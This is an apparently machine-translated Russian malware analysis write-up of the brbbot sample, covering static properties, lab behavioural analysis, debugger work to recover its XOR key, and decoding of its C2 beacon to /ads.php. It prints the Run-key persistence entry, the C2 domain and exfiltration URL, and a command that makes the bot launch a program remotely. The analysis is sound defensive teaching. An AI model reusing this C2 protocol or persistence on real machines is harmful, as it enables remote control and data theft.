brbbot.exe
- Образец был впервые обнаружен в %AppData% → запустите его оттуда.
- Создайте ярлык на рабочем столе и разрешите ему работать с правами администратора.
Анализ статических свойств
Инструмент PStudio
- Здесь мы рассмотрим основы образца, чтобы включить хэши файлов, а также размер файла.
md5,1C7243C8F3586B799A5F9A2E4200AA92 sha1,4DB5A8E237937B6D7B435A8506B8584121A7E9E3 sha256,F47060D0F7DE5EE651878EB18DD2D24B5003BDB03EF4F49879F448F05034A21E file-size,75776 (bytes) file-type,executable cpu,64-bit compiler-stamp,0x54ED67C2 (Wed Feb 25 01:12:18 2015)
Разделы файла
.text, .rdata, .data, .pdata, .rsrc, .reloc .text section entrypoint entry-point,0x00003F94
Этот конкретный пример не выглядит упакованным, однако следует отметить, что некоторые версии brbbot действительно упакованы.
Используемые библиотеки
ws2_32.dll, wininet.dll, user32.dll, kernel32.dll, advapi32.dll
Интересный импорт
(115 total) RegSetValueExA RegOpenKeyExA RegDeleteValueA RegFlushKey RegCloseKey GetComputerNameA GetSystemWow64DirectoryA IsDebuggerPresent HttpSendRequestA InternetReadFile InternetConnectA InternetOpenA HttpOpenRequestA InternetSetOptionA CreateFileW CreateFileA WriteFile MoveFileExA CopyFileA DeleteFileA CreateProcessA GetCurrentProcess ExitProcess CryptEncrypt CryptCreateHash CryptDestroyKey CryptDecrypt CryptDestroyHash CryptHashData
- Для этого образца есть:
- Нет экспорта
- Нет обратного вызова TLS
- Если вам интересно, обратный вызов TLS с точки зрения аналитика вредоносных программ позволяет образцу выполнить код до того, как будет достигнута точка входа. Это популярная тактика противодействия анализу со стороны вредоносного ПО, которая пытается победить отладчиков, прежде чем они получат возможность передать управление аналитику вредоносных программ в точке входа программы.
Раздел файла "Ресурсы":
- Похоже, что образец записывает что-то на диск → мы рассмотрим это позже
CONFIG,101,0x00012270,unknown,73,0.10 %,5.971,English-US,B8 9C C3 AA DF 98 67 11 66 AB FE 23 79 07 6E 17 ,.. .. .. .. .. .. g .. f .. .. # y .. n ..
Интересные строки
exec Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Software\Microsoft\Windows\CurrentVersion\Run %s?i=%s&c=%s&p=%s brbconfig.tmp CONFIG YnJiYm90 file conf exit sleep encode brbbot HTTP/1.1 Connection: close\r\n
Выводы из файловых строк
- Присутствует агент пользователя
- Файл конфигурации с оригинальным именем образца записывается на диск в %appdata% (brbconfig.tmp).
- file, conf, exit, sleep, encode кажутся командами C2
- Образец явно указывает на вызовы API, видимые в строках, что также подтверждается наличием строки пользовательского агента.
- В примере используется ключ запуска для сохранения
IOCS, которые можно использовать для обнаружения
- Файловая система: brbconfig.tmp
- Сеть: %s?i=%s&c=%s&p=%s
- Сохранение: Software\Microsoft\Windows\CurrentVersion\Run
- Связь: HTTP/1.1, Mozilla/4.0 (совместимый; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Инструмент PEFrame
- В примере используется несколько подключаемых модулей Yara
Advapi Hash API
IsPE64
IsWindowsGUI
HasRichSignature - Пример поведения в соответствии с PEFrame
anti dbg
Xor
сетевой http
скриншот
реестр win
операция с файлами win
Возможная точка останова для x64db
— snip — CryptEncrypt ReadFile — snip —
Инструмент Detect It Easy
компилятор: Microsoft Visual C/C++ (2010)[-]
компоновщик: Microsoft Linker (10.0) [GUI64]
Поведенческий анализ
Шаги для воспроизведения в лаборатории:
- Настройка: запуск wireshark, fakedns, запуск Remnux accept-all-ips
- Regshot→ первый снимок
- Procmon→ очистить захват, затем запустить захват
- Запустить образец примерно на 60 секунд,
- Завершить с помощью Process Hacker
- Завершить procmoncapture→ Сохранить в CSV-файле .log на рабочем столе для импорта ProcDOT,
- Regshot второй снимок, затем сравните
- Изучите упаковщики wireshark, запросы fakedns
Регшот
- Есть два интересных параметра реестра, добавленных из-за выполнения нашего примера, тот, который вы хотите отточить, — это добавление ключа Run, позволяющее образцу сохраняться и выполняться после перезагрузки.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\brbbot: “C:\Users\REM\AppData\Roaming\brbbot.exe” HKU\S-1–5–21–1866265027–1870850910–1579135973–1000\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Users\REM\AppData\Roaming\brbbot.exe: 53 41 43 50 01 00 00 00 00 00 00 00 07 00 00 00 28 00 00 00 00 28 01 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 0A 73 20 00 00 DB 80 FD AC 28 39 D3 01 00 00 00 00 00 00 00 00 02 00 00 00 28 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 A6 00 00 00 00 00 00 01 00 00 00 01 00 00 00
- Добавлено файлов: 4
- Игнорируя запись предварительной выборки, образец сбрасывает закодированный файл конфигурации на диск, который мы рассмотрим позже в отладчике.
C:\Users\REM\AppData\Roaming\brbconfig.tmp C:\Windows\Prefetch\BRBBOT.EXE-F9A274A7.pf
ПрокДОТ
- Хотя ProcDOT помогает визуализировать действия, предпринятые образцом, не обнаруживается ничего нового, что не было бы уже выделено из предыдущего вывода инструмента.
Изучение файла конфигурации, сброшенного на диск
%AppData% brbconfig.tmp ¸œÃªß˜gf«þ#ynó·D|Ý*ú0yVLu¢vq}r‘:ÚŽã’<Â6|ÀH íÜD-•,<ˆ¿Î-kÀaFµ ’
Ясно видно, что файл закодирован каким-то ключом
Изучение результатов Fakedns
fakedns[INFO]: Response: brb.3dtuts.by -> 192.168.80.128
Изучение вывода Wireshark
- Образец выполняет DNS-запрос, за которым следует запрос к его C2-серверу.
- ПОЛУЧИТЬ HTTP /ads.php
- Похоже, что образец отправляет закодированные данные в форме для строки формата, которую мы видели в выходных данных strings.
13 7.863714237 192.168.80.129 192.168.80.128 HTTP 3162 GET /ads.php?i=192.168.80.129&c=DESKTOP-2C3IQHO&p=123f373e600822282f3e366028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e60283e292d32383e28753e233e6037283a2828753e233e602c323537343c3435753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282 — snip — HTTP/1.1
- Из-за того, что на нашей машине RREMnux не запущен веб-сервер (который служит шлюзом по умолчанию для машины Windows, мы получим 404 в ответ на HTTP GET
15 7.868788904 192.168.80.128 192.168.80.129 HTTP 777 HTTP/1.1 404 Not Found (text/html)
- Сохраните закодированные данные как encoded.hex для последующего анализа.
Анализ кода в x64db
- Загрузите образец в x64db и найдите межмодульные вызовы. Найдите вызов API ReadFile, который является потенциальным местом, где он записывается во временный файл на диске, а затем кодирует эти данные.
- Установите точку останова в API ReadFile.
bp ReadFile
- Запустите образец, который приведет к попаданию в точку останова
- В документации ReadFile говорится, что дескриптор (hfile) является первым переданным параметром. Обратите внимание на значение регистра RCX, показанное ниже.
0000000000000100 = RCX register
- Перейдите на вкладку дескрипторов и нажмите «Обновить», найдите дескриптор 100, посмотрите, как он указывает на нужный нам файл.
Type=File Type number=24 Handle=100 Access=100081 Name=\Device\HarddiskVolume1\Users\REM\AppData\Roaming\brbconfig.tmp
- Разрешить ReadFile завершить работу, чтобы добраться до кода, вызвавшего его.
- Нажмите кнопку "Отладка" вверху и выберите "Выполнить в пользовательском коде".
- Вы можете ясно видеть вызов API CryptDecrypt прямо под текущим кодом, вызывающим ReadFile.
- Один шаг вниз вправо после вызова API CryptDecrypt. Теперь ясно видно незашифрованный файл конфигурации в регистрах RSP, RSI.
- Следует отметить, что мы можем видеть те команды C2, которые мы видели в выводе строк, обнаруженном pestudio. Однако самое главное, мы также можем видеть encode=5b, это ключ xor?
Расшифровка связи C2 с помощью нашего ключа Xor
- Если мы выберем From Hex в дополнение к XOR (не забудьте добавить значение нашего ключа 5b!), мы сможем просмотреть открытый текст запроса C2. Ясно видно, что образец выполняет опрос процессов, запущенных на машине-жертве.
Повторный анализ Wireshark и управление ботами
- Чтобы управлять имплантатом с нашей станции REMnux, настройте страницу /ads.php в /var/www/html. Убедитесь, что вы также запускаете веб-сервер nginx.
- Вывести команду C2 в файл /ads.php, хранящийся в папке /var/www/html.
echo 'cexe c:\windows\notepad.exe' > ads.php
- Повторно запустите пример, проверьте windows vm
- Блокнот выполняет :)
Подведение итогов
- После возможности удаленного запуска notepad.exe это подтверждает нашу более раннюю теорию относительно команд C2 и их включения в вывод strings. Хотя это был чрезвычайно забавный образец для анализа, важно отметить, что это простой образец с небольшим количеством методов запутывания.